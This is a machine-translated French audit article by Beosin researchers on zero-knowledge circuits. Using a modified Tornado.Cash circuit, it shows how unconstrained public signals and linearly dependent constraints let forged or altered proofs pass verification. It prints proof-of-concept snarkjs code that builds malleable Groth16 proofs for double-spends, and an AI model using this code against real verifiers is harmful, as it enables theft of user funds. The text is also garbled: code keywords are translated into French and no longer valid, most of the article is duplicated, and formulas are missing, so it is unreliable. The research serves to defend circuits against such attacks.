Auteur de cet article : Saya & Bryce, experts en recherche en sécurité chez Beosin
1. Introduction
Le projet ZKP (Zero-Knowledge Proof) se compose principalement de deux parties : les circuits hors chaîne et les contrats en chaîne. La partie circuit implique l'abstraction des contraintes de la logique métier et des connaissances de base complexes en cryptographie, cette partie est donc difficile pour le côté projet. à mettre en œuvre, et c'est aussi des difficultés à auditer le personnel de sécurité. ** Ce qui suit est un cas de sécurité qui est facilement ignoré par les parties au projet - "contraintes redondantes". Le but est de rappeler aux parties au projet et aux utilisateurs de prêter attention aux risques de sécurité associés. . **
2. Les contraintes redondantes peuvent-elles être supprimées
Lors de l'audit des projets ZKP, vous verrez généralement les contraintes étranges suivantes, mais de nombreuses parties au projet n'en comprennent pas réellement la signification spécifique. Afin de réduire la difficulté de réutilisation des circuits et d'économiser la consommation informatique hors chaîne, certaines contraintes peuvent être supprimées, ainsi provoquant des problèmes de sécurité :
Nous avons comparé le nombre de contraintes générées avant et après la suppression du code ci-dessus et avons constaté que la présence ou l'absence des contraintes ci-dessus dans un projet réel a peu d'impact sur le nombre total de contraintes du projet, car elles sont facilement ignorées par les responsables du projet. optimisation automatique.
Le but réel du circuit ci-dessus est simplement d'ajouter une donnée à la preuve. En prenant Tornado.Cash comme exemple, les données supplémentaires incluent : l'adresse du destinataire, l'adresse du relais, les frais de traitement, etc., car ces signaux n'affectent pas le calcul réel du circuit ultérieur. , cela peut donc semer la confusion parmi certaines autres parties au projet, les retirant ainsi du circuit, entraînant le vol des transactions de certains utilisateurs.
Ce qui suit prend comme exemple le projet de transaction privée simple Tornado.Cash pour introduire cette attaque. Cet article supprime les signaux et contraintes pertinents des informations supplémentaires dans le circuit et est le suivant :
inclure "../../../../node_modules/cicomlib/circuits/bitify.cicom" ; inclure "../../../../node_modules/cicomlib/circuits/pedersen.cicom"; inclure "merkleTree.cicom"; modèle CommitmentHasher() { nullificateur d'entrée de signal ; secret d'entrée de signal ; engagement de sortie de signal ; // sortie du signal nullifierHash ; engagement du composantHasher = Pedersen(496); // composant nullifierHasher = Pedersen(248); composant nullifierBits = Num2Bits(248); composant secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== secret; pour ( je = 0; je < 248; je++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; engagementHasher.in [i] <== nullifierBits.out [i] ; engagementHasher.in[i + 248] <== secretBits.out [i] ; } engagement <== engagementHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Vérifie que l'engagement qui correspond au secret et à l'annuleur donnés est inclus dans l'arbre merkle de depositstemplate Withdraw(levels) { signal input root; // entrée du signal nullifierHash ; engagement de sortie de signal ; // destinataire de l'entrée du signal ; // ne participe à aucun calcul // relais d'entrée de signal ; // ne participe à aucun calcul // frais d'entrée du signal ; // ne participe à aucun calcul // remboursement de l'entrée du signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; // chemin d'entrée du signalÉléments [levels] ; // chemin d'entrée du signalIndices [levels] ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment ; // hasher.nullifierHash === nullifierHash; // arborescence des composants = MerkleTreeChecker(levels); // arbre.leaf <== hasher.commitment; // arbre.root <== root; // pour ( i = 0; i < niveaux; i++) { // tree.pathElements [i] <== pathElements [i] ; // arbre.pathIndices [i] <== cheminIndices [i] ; // } // Ajoutez des signaux cachés pour vous assurer que la falsification du destinataire ou des frais invalidera la preuve snark // Très probablement, ce n'est pas obligatoire, mais il est préférable de rester prudent et cela ne prend que 2 contraintes // Les carrés sont utilisé pour empêcher l'optimiseur de supprimer ces contraintes // signal destinataireSquare ; // signalez feeSquare ; // relais de signalCarré ; // signal remboursementSquare ; // destinataireSquare <== destinataire * destinataire ; // fraisSquare <== frais * frais ; // relayerSquare <== relayer * relayer; // remboursementSquare <== remboursement * remboursement;}component main = Withdraw(20);
Afin de faciliter la compréhension, cet article supprime les parties liées à la vérification de Merkle Tree et de nullifierHash dans le circuit, et annote également l'adresse du bénéficiaire et d'autres informations. Dans le contrat en chaîne généré par ce circuit, cet article utilise deux adresses différentes pour vérifier en même temps. On peut constater que les deux adresses différentes peuvent réussir la vérification :
Mais lorsque le code suivant est ajouté aux contraintes du circuit, on peut constater que seule l'adresse du destinataire définie dans le circuit peut réussir la vérification :
récepteur d'entrée de signal ; // ne participe à aucun calcul du relais d'entrée de signal ; // ne participe à aucun calcul des frais d'entrée du signal ; // ne participe à aucun calcul de remboursement d'entrée de signal ; // ne participe à aucun calculrécipiendaire du signalCarré;frais du signalCarré;relais du signalCarré;remboursement du signalCarré;récipientCarré <== destinataire * destinataire;récipientCarré <== destinataire * destinataire;feeSquare <== frais * frais;relayerCarré <== relayer * relayer ;refundSquare <== remboursement * remboursement ;
Par conséquent, lorsque la preuve n'est pas liée au destinataire, on peut constater que l'adresse du destinataire peut être modifiée à volonté et que la preuve zk peut être vérifiée. Ensuite, lorsque l'utilisateur souhaite retirer de l'argent du pool du projet, il peut être volé par MEV. Voici un exemple d’attaque frontale MEV contre une DApp d’échange de confidentialité :
3. Mauvaise façon d'écrire des contraintes redondantes
De plus, il existe deux erreurs courantes d'écriture dans le circuit, qui peuvent conduire à des attaques de double dépense plus graves : l'une est que le signal d'entrée est défini dans le circuit, mais le signal n'est pas contraint, et l'autre est celui-là. des multiples contraintes sur le signal est Il existe une dépendance linéaire entre elles. La figure ci-dessous montre les processus de calcul courants de preuve et de vérification de l'algorithme Groth16 :
Le prouveur génère la preuve Preuve π = ( [A] 1, [C] 1, [B] 2):
Après que le vérificateur ait reçu la preuve π[A, B, C], il calcule l'équation de vérification suivante. Si elle est établie, la vérification réussit, sinon la vérification échoue :
3.1 Le signal ne participe pas aux contraintes
Si un certain signal public Zi n'a aucune contrainte dans le circuit, alors pour sa contrainte j, la valeur de la formule suivante est toujours 0 (où rj est la valeur de défi aléatoire que le vérificateur a besoin du prouveur pour calculer) :
En même temps, cela signifie que pour Zi, tout x a la formule suivante :
Par conséquent, l'expression suivante dans l'équation de vérification a pour le signal x :
Puisque l’équation de vérification est la suivante :
On constate que quelle que soit la valeur de Zi, le résultat de ce calcul est toujours 0.
Cet article modifie le circuit Tornado.Cash comme suit. Vous pouvez voir que le circuit a 1 destinataire de signal d'entrée public et 3 signaux privés racine, annuleur et secret. Le destinataire n'a aucune contrainte dans le circuit :
modèle Retrait (niveaux) { racine d'entrée du signal ; engagement de sortie de signal ; récepteur d'entrée de signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment;} composant principal {public [recipient] }= Retirer (20);
Cet article sera testé sur la dernière version de la bibliothèque snarkjs 0.7.0, et son code de contrainte implicite sera supprimé pour démontrer l'effet d'attaque à double dépense lorsqu'il n'y a pas de signal de contrainte dans le circuit. Le code d'exp de base est le suivant :
Vous pouvez voir que les deux preuves générées ont réussi la vérification :
3.2 Contraintes de dépendance linéaire
modèle Retrait (niveaux) { racine d'entrée du signal ; // entrée du signal nullifierHash ; engagement de sortie de signal ; récepteur d'entrée de signal ; // ne participe à aucun calcul du relais d'entrée de signal ; // ne participe à aucun calcul des frais d'entrée du signal ; // ne participe à aucun calcul // remboursement de l'entrée du signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; // chemin d'entrée du signalÉléments [levels] ; // chemin d'entrée du signalIndices [levels] ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment ; entrée de signal Carré ; // destinataireSquare <== destinataire * destinataire ; // fraisSquare <== frais * frais ; // relayerSquare <== relayer * relayer; // remboursementSquare <== remboursement * remboursement ; 35 * Square === (2destinataire + 2relayer + frais + 2) * (relayer + 4);}component main {public [destinataire,Square]}= Withdraw(20);
Le circuit ci-dessus peut conduire à une attaque à double dépense. Le code de base d'exp spécifique est le suivant :
Après avoir modifié une partie du code de la bibliothèque, nous l'avons testé sur snarkjs version 0.7.0. Les résultats ont montré que les deux fausses preuves suivantes pouvaient passer la vérification :
publicsingnal1 + preuve1
publicsingnal2 + preuve2
4 correctifs
Code de la bibliothèque 4.1 zk
Actuellement, certaines bibliothèques zk populaires telles que la bibliothèque snarkjs ajouteront implicitement certaines contraintes au circuit, comme la contrainte la plus simple :
La formule ci-dessus est mathématiquement toujours vraie, donc quelle que soit la valeur réelle du signal et répond à toutes les contraintes, elle peut être implicitement et uniformément ajoutée au circuit par le code de la bibliothèque lors de la configuration. De plus, les contraintes carrées de la première section sont utilisé dans le circuit. C’est une approche plus sûre. Par exemple, snarkjs ajoute implicitement les contraintes suivantes lors de la génération de zkey lors de l'installation :
4.2 Circuit
Lorsque la partie du projet conçoit le circuit, étant donné que la bibliothèque zk tierce utilisée ne peut pas ajouter de contraintes supplémentaires lors de l'installation ou de la compilation,** nous recommandons à la partie du projet d'essayer de garantir l'intégrité des contraintes au niveau de la conception du circuit et de contrôler strictement les contraintes dans le circuit.Tous les signaux sont légalement contraints pour assurer la sécurité, comme la contrainte carrée illustrée précédemment. **
Voir l'original
Cette page peut inclure du contenu de tiers fourni à des fins d'information uniquement. Gate ne garantit ni l'exactitude ni la validité de ces contenus, n’endosse pas les opinions exprimées, et ne fournit aucun conseil financier ou professionnel à travers ces informations. Voir la section Avertissement pour plus de détails.
Une lecture incontournable pour les parties au projet ZKP : Audit de circuit : les contraintes redondantes sont-elles vraiment redondantes ?
Auteur de cet article : Saya & Bryce, experts en recherche en sécurité chez Beosin
1. Introduction
Le projet ZKP (Zero-Knowledge Proof) se compose principalement de deux parties : les circuits hors chaîne et les contrats en chaîne. La partie circuit implique l'abstraction des contraintes de la logique métier et des connaissances de base complexes en cryptographie, cette partie est donc difficile pour le côté projet. à mettre en œuvre, et c'est aussi des difficultés à auditer le personnel de sécurité. ** Ce qui suit est un cas de sécurité qui est facilement ignoré par les parties au projet - "contraintes redondantes". Le but est de rappeler aux parties au projet et aux utilisateurs de prêter attention aux risques de sécurité associés. . **
2. Les contraintes redondantes peuvent-elles être supprimées
Lors de l'audit des projets ZKP, vous verrez généralement les contraintes étranges suivantes, mais de nombreuses parties au projet n'en comprennent pas réellement la signification spécifique. Afin de réduire la difficulté de réutilisation des circuits et d'économiser la consommation informatique hors chaîne, certaines contraintes peuvent être supprimées, ainsi provoquant des problèmes de sécurité :
Nous avons comparé le nombre de contraintes générées avant et après la suppression du code ci-dessus et avons constaté que la présence ou l'absence des contraintes ci-dessus dans un projet réel a peu d'impact sur le nombre total de contraintes du projet, car elles sont facilement ignorées par les responsables du projet. optimisation automatique.
Le but réel du circuit ci-dessus est simplement d'ajouter une donnée à la preuve. En prenant Tornado.Cash comme exemple, les données supplémentaires incluent : l'adresse du destinataire, l'adresse du relais, les frais de traitement, etc., car ces signaux n'affectent pas le calcul réel du circuit ultérieur. , cela peut donc semer la confusion parmi certaines autres parties au projet, les retirant ainsi du circuit, entraînant le vol des transactions de certains utilisateurs.
Ce qui suit prend comme exemple le projet de transaction privée simple Tornado.Cash pour introduire cette attaque. Cet article supprime les signaux et contraintes pertinents des informations supplémentaires dans le circuit et est le suivant :
inclure "../../../../node_modules/cicomlib/circuits/bitify.cicom" ; inclure "../../../../node_modules/cicomlib/circuits/pedersen.cicom"; inclure "merkleTree.cicom"; modèle CommitmentHasher() { nullificateur d'entrée de signal ; secret d'entrée de signal ; engagement de sortie de signal ; // sortie du signal nullifierHash ; engagement du composantHasher = Pedersen(496); // composant nullifierHasher = Pedersen(248); composant nullifierBits = Num2Bits(248); composant secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== secret; pour ( je = 0; je < 248; je++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; engagementHasher.in [i] <== nullifierBits.out [i] ; engagementHasher.in[i + 248] <== secretBits.out [i] ; } engagement <== engagementHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Vérifie que l'engagement qui correspond au secret et à l'annuleur donnés est inclus dans l'arbre merkle de depositstemplate Withdraw(levels) { signal input root; // entrée du signal nullifierHash ; engagement de sortie de signal ; // destinataire de l'entrée du signal ; // ne participe à aucun calcul // relais d'entrée de signal ; // ne participe à aucun calcul // frais d'entrée du signal ; // ne participe à aucun calcul // remboursement de l'entrée du signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; // chemin d'entrée du signalÉléments [levels] ; // chemin d'entrée du signalIndices [levels] ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment ; // hasher.nullifierHash === nullifierHash; // arborescence des composants = MerkleTreeChecker(levels); // arbre.leaf <== hasher.commitment; // arbre.root <== root; // pour ( i = 0; i < niveaux; i++) { // tree.pathElements [i] <== pathElements [i] ; // arbre.pathIndices [i] <== cheminIndices [i] ; // } // Ajoutez des signaux cachés pour vous assurer que la falsification du destinataire ou des frais invalidera la preuve snark // Très probablement, ce n'est pas obligatoire, mais il est préférable de rester prudent et cela ne prend que 2 contraintes // Les carrés sont utilisé pour empêcher l'optimiseur de supprimer ces contraintes // signal destinataireSquare ; // signalez feeSquare ; // relais de signalCarré ; // signal remboursementSquare ; // destinataireSquare <== destinataire * destinataire ; // fraisSquare <== frais * frais ; // relayerSquare <== relayer * relayer; // remboursementSquare <== remboursement * remboursement;}component main = Withdraw(20);
Afin de faciliter la compréhension, cet article supprime les parties liées à la vérification de Merkle Tree et de nullifierHash dans le circuit, et annote également l'adresse du bénéficiaire et d'autres informations. Dans le contrat en chaîne généré par ce circuit, cet article utilise deux adresses différentes pour vérifier en même temps. On peut constater que les deux adresses différentes peuvent réussir la vérification :
Mais lorsque le code suivant est ajouté aux contraintes du circuit, on peut constater que seule l'adresse du destinataire définie dans le circuit peut réussir la vérification :
récepteur d'entrée de signal ; // ne participe à aucun calcul du relais d'entrée de signal ; // ne participe à aucun calcul des frais d'entrée du signal ; // ne participe à aucun calcul de remboursement d'entrée de signal ; // ne participe à aucun calculrécipiendaire du signalCarré;frais du signalCarré;relais du signalCarré;remboursement du signalCarré;récipientCarré <== destinataire * destinataire;récipientCarré <== destinataire * destinataire;feeSquare <== frais * frais;relayerCarré <== relayer * relayer ;refundSquare <== remboursement * remboursement ;
Par conséquent, lorsque la preuve n'est pas liée au destinataire, on peut constater que l'adresse du destinataire peut être modifiée à volonté et que la preuve zk peut être vérifiée. Ensuite, lorsque l'utilisateur souhaite retirer de l'argent du pool du projet, il peut être volé par MEV. Voici un exemple d’attaque frontale MEV contre une DApp d’échange de confidentialité :
3. Mauvaise façon d'écrire des contraintes redondantes
De plus, il existe deux erreurs courantes d'écriture dans le circuit, qui peuvent conduire à des attaques de double dépense plus graves : l'une est que le signal d'entrée est défini dans le circuit, mais le signal n'est pas contraint, et l'autre est celui-là. des multiples contraintes sur le signal est Il existe une dépendance linéaire entre elles. La figure ci-dessous montre les processus de calcul courants de preuve et de vérification de l'algorithme Groth16 :
Le prouveur génère la preuve Preuve π = ( [A] 1, [C] 1, [B] 2):
Après que le vérificateur ait reçu la preuve π[A, B, C], il calcule l'équation de vérification suivante. Si elle est établie, la vérification réussit, sinon la vérification échoue :
3.1 Le signal ne participe pas aux contraintes
Si un certain signal public Zi n'a aucune contrainte dans le circuit, alors pour sa contrainte j, la valeur de la formule suivante est toujours 0 (où rj est la valeur de défi aléatoire que le vérificateur a besoin du prouveur pour calculer) :
En même temps, cela signifie que pour Zi, tout x a la formule suivante :
Par conséquent, l'expression suivante dans l'équation de vérification a pour le signal x :
Puisque l’équation de vérification est la suivante :
On constate que quelle que soit la valeur de Zi, le résultat de ce calcul est toujours 0.
Cet article modifie le circuit Tornado.Cash comme suit. Vous pouvez voir que le circuit a 1 destinataire de signal d'entrée public et 3 signaux privés racine, annuleur et secret. Le destinataire n'a aucune contrainte dans le circuit :
modèle Retrait (niveaux) { racine d'entrée du signal ; engagement de sortie de signal ; récepteur d'entrée de signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment;} composant principal {public [recipient] }= Retirer (20);
Cet article sera testé sur la dernière version de la bibliothèque snarkjs 0.7.0, et son code de contrainte implicite sera supprimé pour démontrer l'effet d'attaque à double dépense lorsqu'il n'y a pas de signal de contrainte dans le circuit. Le code d'exp de base est le suivant :
fonction asynchrone groth16_exp() { let inputA = "7"; laissez inputB = "11" ; laissez inputC = "9" ; laissez inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC" ; attendre newZKey (retirer2.r1cs, powersOfTau28_hez_final_14.ptau, retirer2_0000.zkey,) attendre balise (retirer2_0000.zkey, retirer2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f101112131415161 718191a1b1c1d1e1f", 10, ) const vérificationKey = wait exportVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { proof, publicSignals } = wait groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, destinataire: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") vérifier (publicSignals, preuve); signaux publics [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, proof);}
Vous pouvez voir que les deux preuves générées ont réussi la vérification :
3.2 Contraintes de dépendance linéaire
modèle Retrait (niveaux) { racine d'entrée du signal ; // entrée du signal nullifierHash ; engagement de sortie de signal ; récepteur d'entrée de signal ; // ne participe à aucun calcul du relais d'entrée de signal ; // ne participe à aucun calcul des frais d'entrée du signal ; // ne participe à aucun calcul // remboursement de l'entrée du signal ; // ne participe à aucun calcul de l'annuleur d'entrée de signal ; secret d'entrée de signal ; // chemin d'entrée du signalÉléments [levels] ; // chemin d'entrée du signalIndices [levels] ; hachage de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment ; entrée de signal Carré ; // destinataireSquare <== destinataire * destinataire ; // fraisSquare <== frais * frais ; // relayerSquare <== relayer * relayer; // remboursementSquare <== remboursement * remboursement ; 35 * Square === (2destinataire + 2relayer + frais + 2) * (relayer + 4);}component main {public [destinataire,Square]}= Withdraw(20);
Le circuit ci-dessus peut conduire à une attaque à double dépense. Le code de base d'exp spécifique est le suivant :
const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, sections: sectionsZKey } = wait readBinFile("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = wait readSection(fdZKey, sectionsZKey, 8) fdZKey.close() const courbe = wait buildBn128(); const Fr = courbe.Fr; const G1 = courbe.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const matching_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8); const sGIn = courbe.G1.F.n8 * 2 const matching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const Linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( facteur_linéaire, Fr.sub(matching_pub, new_pi)); const p = attendre courbe.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}
Après avoir modifié une partie du code de la bibliothèque, nous l'avons testé sur snarkjs version 0.7.0. Les résultats ont montré que les deux fausses preuves suivantes pouvaient passer la vérification :
4 correctifs
Code de la bibliothèque 4.1 zk
Actuellement, certaines bibliothèques zk populaires telles que la bibliothèque snarkjs ajouteront implicitement certaines contraintes au circuit, comme la contrainte la plus simple :
La formule ci-dessus est mathématiquement toujours vraie, donc quelle que soit la valeur réelle du signal et répond à toutes les contraintes, elle peut être implicitement et uniformément ajoutée au circuit par le code de la bibliothèque lors de la configuration. De plus, les contraintes carrées de la première section sont utilisé dans le circuit. C’est une approche plus sûre. Par exemple, snarkjs ajoute implicitement les contraintes suivantes lors de la génération de zkey lors de l'installation :
4.2 Circuit
Lorsque la partie du projet conçoit le circuit, étant donné que la bibliothèque zk tierce utilisée ne peut pas ajouter de contraintes supplémentaires lors de l'installation ou de la compilation,** nous recommandons à la partie du projet d'essayer de garantir l'intégrité des contraintes au niveau de la conception du circuit et de contrôler strictement les contraintes dans le circuit.Tous les signaux sont légalement contraints pour assurer la sécurité, comme la contrainte carrée illustrée précédemment. **